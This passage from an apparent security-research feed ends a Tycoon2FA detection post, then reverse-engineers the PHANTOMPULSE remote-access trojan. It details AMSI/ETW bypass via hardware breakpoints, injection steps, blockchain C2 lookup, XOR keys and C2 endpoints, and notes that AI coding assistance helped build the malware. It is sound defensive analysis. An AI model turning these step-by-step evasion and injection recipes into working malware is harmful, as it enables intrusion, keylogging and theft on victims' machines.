<td align="left">T1087.004</td>
<td align="left">Graph enumeration of user profile, role memberships, contacts</td>
</tr>
<tr>
<td align="left">Permission Groups Discovery: Cloud</td>
<td align="left">T1069.003</td>
<td align="left">Enumerating directory roles and transitive role assignments</td>
</tr>
<tr>
<td align="left">Cloud Service Discovery</td>
<td align="left">T1526</td>
<td align="left">Listing subscribedSkus, organization metadata, app inventory</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2026/03/04/inside-tycoon2fa-how-a-leading-aitm-phishing-kit-operated-at-scale/">Microsoft Security Blog - Inside Tycoon2FA: How a leading AiTM phishing kit operated at scale</a> (March 2026)</li>
<li><a href="https://any.run/malware-trends/tycoon/">Tycoon 2FA Malware Analysis, Overview by ANY.RUN</a></li>
<li><a href="https://www.cloudflare.com/threat-intelligence/research/report/tycoon-2fa-takedown/">Cloudflare - <em>Tycoon 2FA Takedown</em></a> (March 2026)</li>
<li><a href="https://spycloud.com/blog/tycoon-2fa-takedown-inside-the-global-phishing-infrastructure-disruption/">SpyCloud - <em>Tycoon 2FA Takedown</em></a><em>: Inside the Global Phishing Infrastructure Disruption</em> (March 2026)</li>
<li><a href="https://www.esentire.com/blog/tycoon-2fa-operators-adopt-oauth-device-code-phishing">eSentire - <em>Tycoon 2FA Operators Adopt OAuth Device Code Phishing</em></a> (May 2026)</li>
<li><a href="https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/">Sekoia - <em>Tycoon 2FA: an in-depth analysis of the latest version of the AiTM phishing kit</em></a> (March 2024)</li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/tycoon-2fa-aitm-detection-engineering.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[PHANTOMPULSE: anatomy of a hijackable blockchain-C2 RAT]]></title>
            <link>https://www.elastic.co/kr/security-labs/blockchain-c2-phantompulse-rat-sinkhole</link>
            <guid>blockchain-c2-phantompulse-rat-sinkhole</guid>
            <pubDate>Fri, 22 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs presents a detailed reverse-engineering analysis of PHANTOMPULSE, the long-lived RAT delivered to crypto-sector victims through the REF6598 intrusion set.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security Labs's prior coverage of <a href="https://www.elastic.co/kr/security-labs/phantom-in-the-vault">REF6598</a> documented an intrusion set whose Windows toolchain landed via Obsidian plugin abuse, escalated via an in-memory PE loader (PHANTOMPULL), and finished with a RAT (PHANTOMPULSE). That post focused on delivery. This post analyzes the final stage: PHANTOMPULSE, an implant that ships three process-injection techniques, resolves its C2 through Ethereum/Base/Optimism transaction inputs, and bypasses UAC via the public <code>schuac</code> technique. The analysis surfaces a sinkhole-able blockchain C2 channel, a unified hardware-breakpoint primitive that disables AMSI / WLDP / ETW and pervasive AI-assisted-development fingerprints in the implant's debug strings.</p>
<h2>Key takeaways</h2>
<ul>
<li>PHANTOMPULSE implements three injection techniques adapted from recent public offensive-security PoCs.</li>
<li>AMSI, WLDP, and ETW are bypassed via a single shared HWBP primitive</li>
<li>The blockchain C2 resolver has <strong>no sender verification</strong>, allowing a defender to override the C2 URL for every implant by posting a single transaction</li>
<li>Strong AI-assisted-development indicators present in the binary</li>
</ul>
<h2>A note on AI-assisted development</h2>
<p>PHANTOMPULSE bears strong fingerprints of AI coding assistance, visible throughout the debug strings.</p>
<p>The clearest tells:</p>
<ul>
<li><strong>Structured step numbering</strong> in operational logs: <code>[STEP 1] Staged mode — payload downloaded from C2 at runtime</code>, <code>[STEP 1/3] Scheduled Task (DotNetSvcUpdateTask, logon + every 3 min)</code>, <code>[STEP 2/3] Boot Task (DotNetSvcCoreTask, INTERACTIVE_TOKEN + BootTrigger)</code>, <code>[UNINSTALL 4/6] Removing persist_loader DLL + registry PE data...</code>, <code>[REPAIR] Reinstalling boot task (INTERACTIVE_TOKEN)...</code>.</li>
<li><strong>ENTER/DONE function tracing</strong>: <code>&quot;[HEIS] encrypt_text_only ENTER&quot;</code> / <code>&quot;[HEIS] encrypt_text_only DONE&quot;</code>, <code>&quot;KeylogResolveAPIs: ENTER&quot;</code>. The diagnostic style LLMs default to when generating new functions.</li>
<li><strong>Verbose diagnostics</strong>: <code>&quot;FindHostProcessEx: scan stats: total=%lu sessSkip=%lu openFail=%lu native=%lu wow64=%lu mapReject=%lu dbgReject=%lu sess=%lu&quot;</code>, <code>&quot;ManualMap: thread hijacked and resumed — DLL injection via thread hijack complete&quot;</code>. Self-explanatory output, unusually talkative for malware.</li>
<li><strong>Em dashes in C strings</strong>: <code>&quot;elevate: FAIL — no deployed DLL path&quot;</code>, <code>&quot;&gt;&gt;&gt; .elevate: NOT proxy — spawning trusted host to handle elevation&quot;</code>.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image26.png" alt="AI generated strings in the binary" /></p>
<h2>Execution chain</h2>
<p><code>MainEntryLogic</code> is the orchestration function that runs the full initialization sequence before entering the C2 loop:</p>
<pre><code class="language-text">start
 └─ WinMain
     └─ MainEntryLogic
         1. DynInit                // Bootstrap API resolution
         2. ElevationStateCheck    // &quot;.elevate&quot; marker detection, routes by token elevation state
         3. SingleInstanceCheck    // XOR-decrypted mutex, exit if already running
         4. EvasionInit            // Direct syscalls + ETW HWBP
         5. SyscallResolverInit    // CPUID + hash-based kernel32 resolution
         6. SleepMaskInit          // Sleep obfuscation setup
         7. ComputeMachineID       // DJB2(module name) ^ volume serial
         8. IsRunningHollowed      // Process hollowing self-check
         9. CollectSysInfo         // CPU, GPU, RAM, OS, AV, apps
        10. FilelessPersist        // Drop stub DLL, registry artifact
        11. InstallPersistence     // Three scheduled tasks via COM ITaskService
        12. C2Loop_Init → C2Loop_Main
</code></pre>
<p>At startup, the implant DJB2-hashes the user name and computer name and looks each up in a precomputed table. A match exits the process. Brute-forcing the table against public anti-sandbox wordlists recovered 20 of the 61 entries: <code>WDAGUtilityAccount</code> (Windows Defender Application Guard), several <code>DESKTOP-XXXXXXX</code> default-VM names, and the <a href="https://gist.github.com/0x-Apollyon/04b30400b51136a19c739a8ec4dc95d5">Joe Sandbox personas</a> (<code>abby</code>, <code>patex</code>, <code>george</code>, <code>john</code>, <code>lisa</code>, <code>frank</code>, <code>RDhJ0CNFevzX</code>).</p>
<h2>Defense evasion</h2>
<h3>Direct syscalls and API wrappers</h3>
<p>PHANTOMPULSE resolves ntdll functions by walking <code>PEB→Ldr</code> with DJB2 hashes, extracts System Service Numbers (SSNs) from each NT function's prologue, and builds private syscall stubs. These stubs are wrapped in higher-level helpers used throughout the rest of the implant:</p>
<ul>
<li><code>NtCreateFile_Wrap</code></li>
<li><code>NtWriteFile_Wrap</code></li>
<li><code>NtClose_Wrap</code></li>
<li><code>NtCreateSection_Wrap</code></li>
<li><code>NtMapViewOfSection_Wrap</code></li>
<li><code>NtProtectVirtualMemory_Wrap</code></li>
<li><code>NtWriteVirtualMemory_Wrap</code></li>
</ul>
<p>The rest of the implant calls these wrappers instead of <code>kernel32</code>/<code>ntdll</code> exports, defeating user-mode <code>ntdll</code> hooks (IAT replacements, inline detours, or trampoline patches) that EDR products inject into the documented API surface.</p>
<p>A single helper function routes every disk write through <code>NtCreateFile</code> + <code>NtWriteFile</code> directly, with delete-and-retry on access errors.</p>
<h3>String and config obfuscation</h3>
<p>PHANTOMPULSE uses four XOR layers for different artifacts:</p>
<table>
<thead>
<tr>
<th>What</th>
<th>Key</th>
<th>Where the key lives</th>
</tr>
</thead>
<tbody>
<tr>
<td>C2 fallback URL, mutex, drop-path filenames</td>
<td>16-byte: <code>F7 7C 8E 40 DF C1 7B E5 E7 4D 86 79 D5 B3 53 41</code></td>
<td>Embedded in <code>.rdata</code></td>
</tr>
<tr>
<td>Blockchain provider hostnames (UTF-16 LE)</td>
<td>8-byte: <code>5A 3C 7E 1D 9F 2B 4E 8A</code></td>
<td>Embedded in <code>.rdata</code></td>
</tr>
<tr>
<td>COM Elevation Moniker, keylog file payload</td>
<td><code>0xE95CA237</code>, computed at runtime to keep the constant out of <code>.rdata</code></td>
<td>Computed, not stored</td>
</tr>
<tr>
<td>C2 URL pulled from blockchain transaction <code>input</code></td>
<td>The resolver wallet address itself</td>
<td>Reused from the public lookup key</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image13.png" alt="String dexoring stub" /></p>
<h3>AMSI, WLDP, and ETW bypass via hardware breakpoints</h3>
<p>PHANTOMPULSE disables AMSI, the Windows Lockdown Policy code-trust check, and ETW telemetry through a single shared primitive: a hardware breakpoint planted on each API entry, intercepted by a vectored exception handler that fakes the return value without inline patching.</p>
<table>
<thead>
<tr>
<th>Slot</th>
<th>Target API</th>
<th>Spoofed return (RAX)</th>
</tr>
</thead>
<tbody>
<tr>
<td>DR0</td>
<td><code>WldpQueryDynamicCodeTrust</code></td>
<td><code>0</code> (<code>S_OK</code>)</td>
</tr>
<tr>
<td>DR1</td>
<td><code>AmsiScanBuffer</code></td>
<td><code>0x80070057</code> (<code>E_INVALIDARG</code>)</td>
</tr>
<tr>
<td>DR2</td>
<td><code>EtwEventWrite</code></td>
<td><code>0</code> (<code>STATUS_SUCCESS</code>)</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image22.png" alt="Hardware breakpoint setup function" /></p>
<p>The mechanism, step by step:</p>
<ol>
<li>The implant resolves the target API. AMSI and WLDP go through <code>LoadLibraryA</code> + hash-based export lookup; ETW uses a PEB→Ldr walk since ntdll is already loaded.</li>
<li>The HWBP descriptor (target API address, mode, spoofed return value) is written into one of four 40-byte slots in a global slot table.</li>
<li>A helper thread suspends the target thread, calls <code>NtGetContextThread</code> / <code>NtSetContextThread</code> to write DR0–DR3 + DR7, then resumes. (If the implant's vectored exception handler is already installed, an in-process <code>STATUS_BREAKPOINT</code> is raised instead, letting the VEH read the slot table and program the DRs without a helper thread.)</li>
<li>When the protected API is called, the CPU raises <code>Debug Exception</code> on the function's first instruction.</li>
<li>The implant's vectored exception handler intercepts the <code>Debug Exception</code>, walks its 4-slot table to find the firing address, and modifies the thread context: <code>CONTEXT.Rax</code> is set to the per-slot spoofed return value, <code>CONTEXT.Rip</code> is redirected to a pre-stored &quot;skip&quot; thunk that returns to the caller.</li>
<li>The handler returns <code>EXCEPTION_CONTINUE_EXECUTION</code>. The caller sees the spoofed RAX as if the API had run.</li>
</ol>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image11.png" alt="Exception handler: BREAKPOINT STATUS" /></p>
<p>The dispatcher serves two paths. One handler (<code>VEH_Dispatcher</code>) processes both the implant's own <code>RaiseException(STATUS_BREAKPOINT)</code> calls (used to seed and re-program the DR registers from the slot table) and the <code>STATUS_SINGLE_STEP</code> exceptions that fire when a protected API is called. The exception code drives the branch: <code>STATUS_BREAKPOINT</code> triggers DR programming, <code>STATUS_SINGLE_STEP</code> triggers the spoof.</p>
<p>The handler is also not registered directly. <code>AddVectoredExceptionHandler</code> receives a tiny JMP thunk allocated at runtime in a fresh <code>MEM_PRIVATE</code> page (<code>VirtualAlloc</code> + <code>VirtualProtect</code> to <code>PAGE_EXECUTE_READ</code>). The thunk is a <code>JMP [RIP-relative]</code> indirect jump (6-byte opcode <code>FF 25 00 00 00 00</code>) followed inline by the dispatcher's address. Because no bytes are ever written to <code>AmsiScanBuffer</code>, <code>WldpQueryDynamicCodeTrust</code>, or <code>EtwEventWrite</code>, signature-based detection that scans for prologue patches misses this entirely.</p>
<h3>Build variant: active and dormant subsystems</h3>
<p>Several subsystems exist in the binary as code or strings, but are not active in this build. This is a stripped-down build of a larger codebase.</p>
<ul>
<li><strong>NTDLL unhooking</strong>: Debug strings for an unhooking subsystem live in <code>.rdata</code> (<code>UnhookNtdll: ntdll base = %p</code>, <code>applied %d relocation fixups to .text</code>), but nothing references them. Dead in this variant.</li>
<li><strong>Registry-resident PE blob loader</strong>: earlier builds stored the next-stage PE inside the registry. This build does not, but the uninstall routine still cleans up the legacy registry blob.</li>
<li><strong>COM hijack persistence</strong>: never installed by this build. Cleanup logic for it remains in the uninstall routine.</li>
<li><strong>Print monitor persistence</strong>: same pattern as COM hijack; install path absent, uninstall path retained.</li>
</ul>
<p>The last three (registry blob loader, COM hijack, print monitor) show the opposite pattern: cleanup logic with no install logic, retained for backward compatibility against older deployments.</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>payloads build</th>
<th>Evidence</th>
</tr>
</thead>
<tbody>
<tr>
<td>Direct syscalls (SSN extraction)</td>
<td>Active</td>
<td>SSN extraction + stub generation confirmed</td>
</tr>
<tr>
<td>AMSI / WLDP / ETW HWBP bypass</td>
<td>Active</td>
<td><code>DR0</code>/<code>DR1</code>/<code>DR2</code> via shared helper-thread primitive</td>
</tr>
<tr>
<td>Three-way process injection</td>
<td>Active</td>
<td><code>PhantomInject</code>, <code>DbgNexum</code>, <code>ManualMap</code> are all functional</td>
</tr>
<tr>
<td>Blockchain C2 resolution</td>
<td>Active</td>
<td>Three Blockscout providers queried</td>
</tr>
<tr>
<td>NTDLL unhooking</td>
<td><strong>Dead code</strong></td>
<td>Strings present, zero code references</td>
</tr>
<tr>
<td>HEIS encryption</td>
<td><strong>Disabled</strong></td>
<td>Code encrypt/decrypt stubbed</td>
</tr>
<tr>
<td>Registry-resident PE blob loader</td>
<td><strong>Legacy only</strong></td>
<td>Only cleaned during uninstall</td>
</tr>
<tr>
<td>COM hijack persistence</td>
<td>Legacy only</td>
<td>Cleaned during uninstall, never installed</td>
</tr>
<tr>
<td>Print monitor persistence</td>
<td>Legacy only</td>
<td>Cleaned during uninstall, never installed</td>
</tr>
<tr>
<td>Decoy strings</td>
<td>Active</td>
<td>4 unreferenced decoy strings in <code>.rdata</code></td>
</tr>
</tbody>
</table>
<h2>Command and control</h2>
<h3>Blockchain C2 resolution</h3>
<p>PHANTOMPULSE decentralizes C2 lookup through three Blockscout providers:</p>
<ul>
<li><code>eth.blockscout[.]com</code> (Ethereum L1)</li>
<li><code>base.blockscout[.]com</code> (Base L2)</li>
<li><code>optimism.blockscout[.]com</code> (Optimism L2)</li>
</ul>
<p>The wallet address <code>0xc117688c530b660e15085bF3A2B664117d8672aA</code> is XOR-decrypted from storage with a 16-byte key. For each provider, the implant issues an HTTPS GET (port 443, SSL cert errors ignored), pulls the <code>input</code> field of the latest transaction, hex-decodes it, XOR-decrypts with the wallet address bytes as the key, and validates that the result begins with <code>http</code>. On total failure, it falls back to the hardcoded URL <code>https://panel.fefea22134[.]net</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image16.png" alt="C2 dexoring/decoding validation part 1" /></p>
<p>The resolver does not verify the sender of the transaction. It only checks that the latest decoded <code>input</code> starts with <code>http</code>. Anyone can submit a transaction to that wallet with their own URL XOR-encoded under the wallet bytes, and every PHANTOMPULSE instance of that campaign that polls afterward resolves to that URL. For network defenders, this is a viable sinkhole at the cost of one transaction.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image24.png" alt="C2 dexoring/decoding validation part 2" /></p>
<h3>Endpoints and heartbeat</h3>
<p>Five API paths are constructed at runtime, re-encrypted in memory with a per-session key:</p>
<table>
<thead>
<tr>
<th>Path</th>
<th>Method</th>
<th>Content-Type</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/v1/telemetry/report</code></td>
<td>POST</td>
<td><code>application/json</code></td>
<td>Heartbeat with full system telemetry</td>
</tr>
<tr>
<td><code>/v1/telemetry/tasks/&lt;machine_id&gt;</code></td>
<td>GET</td>
<td></td>
<td>Command fetch</td>
</tr>
<tr>
<td><code>/v1/telemetry/upload/</code></td>
<td>POST</td>
<td><code>image/bmp</code></td>
<td>Screenshot / file upload</td>
</tr>
<tr>
<td><code>/v1/telemetry/result</code></td>
<td>POST</td>
<td><code>application/json</code></td>
<td>Command result delivery</td>
</tr>
<tr>
<td><code>/v1/telemetry/keylog/</code></td>
<td>POST</td>
<td><code>text/plain</code></td>
<td>Keylog data upload</td>
</tr>
</tbody>
</table>
<p>The heartbeat sends a full system profile as JSON:</p>
<pre><code class="language-json">{
  &quot;machine_id&quot;: &quot;&lt;uint32&gt;&quot;,
  &quot;status&quot;: &quot;online&quot;,
  &quot;cpu&quot;: &quot;&lt;model&gt;&quot;,
  &quot;gpu&quot;: &quot;&lt;description&gt;&quot;,
  &quot;ram_mb&quot;: &quot;&lt;uint32&gt;&quot;,
  &quot;os&quot;: &quot;&lt;version&gt;&quot;,
  &quot;username&quot;: &quot;&lt;user&gt;&quot;,
  &quot;computer_name&quot;: &quot;&lt;name&gt;&quot;,
  &quot;cores&quot;: &quot;&lt;uint32&gt;&quot;,
  &quot;screen_w&quot;: &quot;&lt;int&gt;&quot;,
  &quot;screen_h&quot;: &quot;&lt;int&gt;&quot;,
  &quot;privilege&quot;: &quot;&lt;user|admin|admin_nouac|system&gt;&quot;,
  &quot;build&quot;: &quot;payloads&quot;,
  &quot;public_ip&quot;: &quot;&lt;ip&gt;&quot;,
  &quot;av_list&quot;: [&quot;&lt;av1&gt;&quot;, &quot;&lt;av2&gt;&quot;],
  &quot;apps&quot;: [&quot;&lt;app1&gt;&quot;, &quot;&lt;app2&gt;&quot;],
  &quot;last_cmd&quot;: &quot;&lt;cmd&gt;&quot;,
  &quot;last_cmd_result&quot;: &quot;&lt;result&gt;&quot;
}
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image12.png" alt="Building heartbeat JSON document" /></p>
<p>Two response fields are parsed: <code>&quot;status&quot;:&quot;deleted&quot;</code> triggers full uninstall; <code>&quot;ip&quot;:&quot;&lt;value&gt;&quot;</code> populates the public-IP cache, but only if local discovery (ipif[.]org / icanhazip[.]com/ checkip.amazonaws[.]com) hasn't already filled it.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image2.png" alt="Parsing heartbeat response" /></p>
<h3>Loop cadence and resilience</h3>
<ul>
<li><strong>Sleep</strong>: uniform random in [20, 40] seconds</li>
<li><strong>Self-healing</strong>: runs at iteration 2, then every 10th iteration</li>
<li><strong>Health-monitor tick</strong>: first call after the implant comes online, then every 5th iteration thereafter. Populates a local system-info struct (CPU%, RAM, OS version, uptime, computer name).</li>
<li><strong>Failure threshold</strong>: 10 consecutive heartbeat failures trigger a self-restart for stuck SSL/TLS recovery</li>
<li><strong>Re-resolution</strong>: on failure, blockchain re-resolution runs; if the resolved URL changes, the failure counter resets</li>
<li><strong>Public IP</strong>: <code>api4.ipify[.]org</code> → <code>ipv4.icanhazip[.]com</code> → <code>checkip.amazonaws[.]com</code></li>
<li><strong>Connectivity check</strong>: probes <code>microsoft[.]com</code>, <code>google[.]com</code>, <code>cloudflare[.]com</code>, <code>github[.]com</code></li>
</ul>
<h2>Command dispatch</h2>
<p>The command dispatcher routes commands by DJB2 hash. Eight commands total:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image25.png" alt="Command dispatch function" /></p>
<table>
<thead>
<tr>
<th>Hash</th>
<th>Command</th>
<th>Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0x04CF1142</code></td>
<td><code>inject</code></td>
<td>Inject shellcode/DLL/EXE. Routes by type: shellcode → <code>PhantomInject</code>; DLL → <code>ManualMap</code>; EXE → <code>DbgNexum</code>. The AMSI and WLDP HWBP bypasses are installed on the first <code>inject</code> call (the ETW HWBP is already in place from <code>EvasionInit</code>).</td>
</tr>
<tr>
<td><code>0x7C95D91A</code></td>
<td><code>drop</code></td>
<td>Drop the file to the disk and execute. Supports DLL, EXE, shellcode (APC injection), and MSI payloads.</td>
</tr>
<tr>
<td><code>0x9A37F083</code></td>
<td><code>screenshot</code></td>
<td>GDI capture, downscale to 960px wide, upload as BMP.</td>
</tr>
<tr>
<td><code>0x08DEDEF0</code></td>
<td><code>keylog</code></td>
<td>Start or stop the inline keylogger.</td>
</tr>
<tr>
<td><code>0x4EE251FF</code></td>
<td><code>uninstall</code></td>
<td>6-step cleanup and termination.</td>
</tr>
<tr>
<td><code>0x65CCC50B</code></td>
<td><code>elevate</code></td>
<td>UAC bypass via the <code>schuac</code> technique (<code>IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)</code>); registers a transient elevated task that relaunches the implant.</td>
</tr>
<tr>
<td><code>0xB3B5B880</code></td>
<td><code>downgrade</code></td>
<td>SYSTEM → elevated admin transition.</td>
</tr>
<tr>
<td><code>0x20CE3BC8</code></td>
<td>(self-restart)</td>
<td>Cascading self-terminate: <code>NtTerminateProcess(-1, 0)</code> direct syscall first; if that fails to resolve, falls back to <code>ExitProcess(0)</code>. Persistence relaunches the implant on the next scheduled task tick. Operationally equivalent to a soft restart.</td>
</tr>
</tbody>
</table>
<p>The eighth handler has no debug log naming it. It self-terminates; the scheduled task relaunches the implant on the next tick. The lack of LLM-style scaffolding (debug strings) makes this one of the few handlers in the binary that appears to be added by the human author rather than LLM-generated.</p>
<h2>Injection techniques</h2>
<p>PHANTOMPULSE ships three injection techniques, one per payload type. The <code>inject</code> C2 command routes shellcode to <code>PhantomInject</code>, DLLs to <code>ManualMap</code>, and EXEs to <code>DbgNexum</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image6.png" alt="Inject command switch case" /></p>
<p>The AMSI/WLDP hardware-breakpoint bypasses are installed on the first <code>inject</code> call, before any injector runs.</p>
<table>
<thead>
<tr>
<th>Payload type</th>
<th>Injector</th>
<th>Strategy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shellcode</td>
<td>PhantomInject</td>
<td>Module stomping in <code>dbghelp.dll</code> via <code>SEC_IMAGE</code></td>
</tr>
<tr>
<td>EXE</td>
<td>DbgNexum</td>
<td>Debug-API state machine</td>
</tr>
<tr>
<td>DLL</td>
<td>ManualMap</td>
<td>Full PE manual mapping</td>
</tr>
</tbody>
</table>
<h3>PhantomInject: module stomping into dbghelp.dll</h3>
<p>Module stomping avoids <code>MEM_PRIVATE</code> allocation by mapping a legitimate Windows DLL as <code>SEC_IMAGE</code> and overwriting <code>.text</code>:</p>
<ol>
<li>
<p>Acquires <code>SeDebugPrivilege</code> (via <code>OpenProcessToken</code> / <code>LookupPrivilegeValueW</code> / <code>AdjustTokenPrivileges</code>), then walks the process snapshot for one of seven host-process candidates (case-insensitive match). Tried in priority order: <code>sihost.exe</code>, <code>taskhostw.exe</code>, <code>backgroundTaskHost.exe</code>, <code>RuntimeBroker.exe</code>, <code>dllhost.exe</code>, <code>ctfmon.exe</code>, <code>explorer.exe</code>.</p>
</li>
<li>
<p>Opens <code>dbghelp.dll</code> via <code>NtOpenFile</code>, creates <code>SEC_IMAGE</code> section, maps into target via <code>NtMapViewOfSection</code></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image17.png" alt="PhantomInject dll stomping" /></p>
</li>
<li>
<p>Parses the local copy for <code>.text</code> RVA and size, then frees it</p>
</li>
<li>
<p>Selects and suspends a thread, captures context</p>
</li>
<li>
<p>Builds an <a href="https://gist.github.com/soolidsnake/f5cc038aa919db19658dfe4430a62114"><strong>82-byte save-call-restore trampoline</strong></a></p>
</li>
<li>
<p>Writes shellcode + trampoline into <code>.text</code> of the mapped DLL</p>
</li>
<li>
<p>Flips protection to <code>PAGE_EXECUTE_READ</code></p>
</li>
<li>
<p>Repoints RIP to the trampoline, resumes thread</p>
</li>
</ol>
<p>To a memory scanner, the result looks like a thread executing inside legitimate <code>dbghelp.dll</code>, a file-backed image region with the right file path, section name, and first-page hash.</p>
<h3>DbgNexum: debug API as an execution controller</h3>
<p>DbgNexum handles EXE payloads. Rather than writing executable code into the target up front, it uses the Windows debug API to drive execution one exception at a time: a ROP chain whose gadgets are full Windows APIs in the target.</p>
<p>The technique is not original to PHANTOMPULSE. It is a verbatim lift of <a href="https://github.com/dis0rder0x00/DbgNexum"><code>dis0rder0x00/DbgNexum</code></a>, a public proof of concept published on GitHub on 2026-01-04. The operator kept the published technique name (<code>&quot;DbgNexum&quot;</code>) in the implant's debug strings unchanged, and the inner state machine is a 1:1 match: the same bait API, section name, gadget chain, and constants. PHANTOMPULSE wraps the lifted x64 core with operational scaffolding the PoC does not have: host-process selection (<code>FindHostProcessEx</code>), a fallback that spawns a fresh <code>SysWOW64\cmd.exe</code> / <code>rundll32.exe</code> / <code>notepad.exe</code>, a custom PE-loading bootstrap (so it can carry full EXEs instead of raw shellcode), and a separate WoW64 cross-architecture variant.</p>
<p>For native x64 payloads, the implant pre-stages the PE, the bootstrap stub, and the trampoline config inside a named file-mapping section. The section name is the literal two-byte string <code>&quot;MZ&quot;</code>, the implant attaches with <code>DebugActiveProcess</code> and creates a remote thread on <code>FileTimeToSystemTime</code> with a hardware breakpoint on DR0.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image23.png" alt="DbgNexum creates file mapping" /></p>
<p>When the bait hits the breakpoint, a state machine drives the target through this API chain:</p>
<ol>
<li>Redirect <code>RIP</code> to <code>DbgBreakPoint+1</code> with the trap flag set; the resulting single-step exception bridges into the rest of the chain.</li>
<li><code>LocalAlloc(LMEM_ZEROINIT, 3)</code>, allocate the 3-byte name buffer.</li>
<li><code>memcpy(buf, kernel32_base, 2)</code>, copy <code>&quot;MZ&quot;</code> from <code>kernel32.dll</code>'s DOS header into the buffer.</li>
<li><code>memset(stack+40, 0, 8)</code>: zero a stack arg slot.</li>
<li><code>OpenFileMappingA(0x1F, FALSE, &quot;MZ&quot;)</code>, open the prepared section with full section-mapping access.</li>
<li><code>MapViewOfFile(...)</code>,  map it into the target.</li>
<li>Redirect <code>RIP</code> to <code>mapped_base + 0x400</code>, the bootstrap stub. This is the only stage logged directly: <code>DbgNexumLoop64: stage 6 -&gt; stub at %llx, base=%llx</code>. (The PoC redirects to <code>mapped_base + 0</code> for raw shellcode; PHANTOMPULSE adds the <code>+0x400</code> offset to land on its custom PE loader.)</li>
</ol>
<p>Each transition intercepts the next debug event, restores <code>RSP</code>, clears the trap flag, modifies <code>RIP</code> and the argument registers (<code>RCX</code>, <code>RDX</code>, <code>R8</code>, <code>R9</code>) for the next call, and continues the debuggee. DR0 is reused as an execute hardware breakpoint on each saved return address, so no inline patches or <code>WriteProcessMemory</code> against the target are needed. From the kernel's view, all that happened was a thread inside <code>kernel32.dll</code> calling <code>LocalAlloc</code>, <code>OpenFileMappingA</code>, and <code>MapViewOfFile</code>.</p>
<p>The cross-architecture path (PE32 from a 64-bit implant) is a PHANTOMPULSE-only variant the public PoC does not have. It takes a shortcut: the implant walks the target's <code>PEB.Ldr</code> via <code>NtReadVirtualMemory</code> (using <code>ProcessWow64Information</code> to pick the 32-bit or 64-bit PEB layout) to find a DLL with a callable entry point, then pre-maps a section containing a 32-bit loader stub and trampoline into both processes via <code>NtCreateSection</code> + <code>NtMapViewOfSection</code>. The redirect is just two stages: bait at <code>RtlExitUserThread</code>, then a <code>DbgBreakPoint</code>-mediated single step jumps <code>RIP</code> to the trampoline. There is no API chain on this path because the section is already mapped on both sides, so <code>OpenFileMappingA</code>/<code>MapViewOfFile</code> aren't needed.</p>
<p>Cross-arch host selection runs through <code>FindHostProcessEx</code>, which excludes critical system processes (<code>csrss.exe</code>, <code>lsass.exe</code>, <code>smss.exe</code>, <code>winlogon.exe</code>, <code>services.exe</code>, <code>wininit.exe</code>, <code>svchost.exe</code>, <code>MsMpEng.exe</code>) and falls back to spawning a fresh <code>SysWOW64\cmd.exe</code> / <code>rundll32.exe</code> / <code>notepad.exe</code> if no usable WoW64 host is found.</p>
<h3>ManualMap: full PE mapper</h3>
<p>ManualMap handles DLL payloads with a complete PE manual mapping implementation:</p>
<ol>
<li>
<p>Validates MZ/PE signature; rejects PE32 in the x64 host path (debug-log: <code>&quot;PE32 DLL in x64 host is impossible&quot;</code>)</p>
</li>
<li>
<p>Allocates <code>SizeOfImage</code> in the target via <code>NtAllocateVirtualMemory</code></p>
</li>
<li>
<p>Copies headers and sections to a local staging buffer</p>
</li>
<li>
<p>Applies base relocations (<code>IMAGE_REL_BASED_DIR64</code>, <code>IMAGE_REL_BASED_HIGHLOW</code>)</p>
</li>
<li>
<p>Resolves imports via <code>LoadLibraryA</code> + <code>GetProcAddress</code></p>
</li>
<li>
<p>Wipes PE headers (zeros <code>SizeOfHeaders</code> bytes)</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image10.png" alt="ManualMap PE headers wiping" /></p>
</li>
<li>
<p>Writes the staged image into the remote allocation</p>
</li>
<li>
<p>Sets per-section memory protection</p>
</li>
<li>
<p>Builds a <strong>137-byte trampoline</strong> in a separate 0x2000-byte remote allocation (set to <code>PAGE_EXECUTE_READ</code>):</p>
</li>
</ol>
<p>The <a href="https://gist.github.com/soolidsnake/9f8ddf9900150c467ada95ad7838bd68">full trampoline shellcode gist</a> contains the complete bytes.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image15.png" alt="ManualMap trampoline write" /></p>
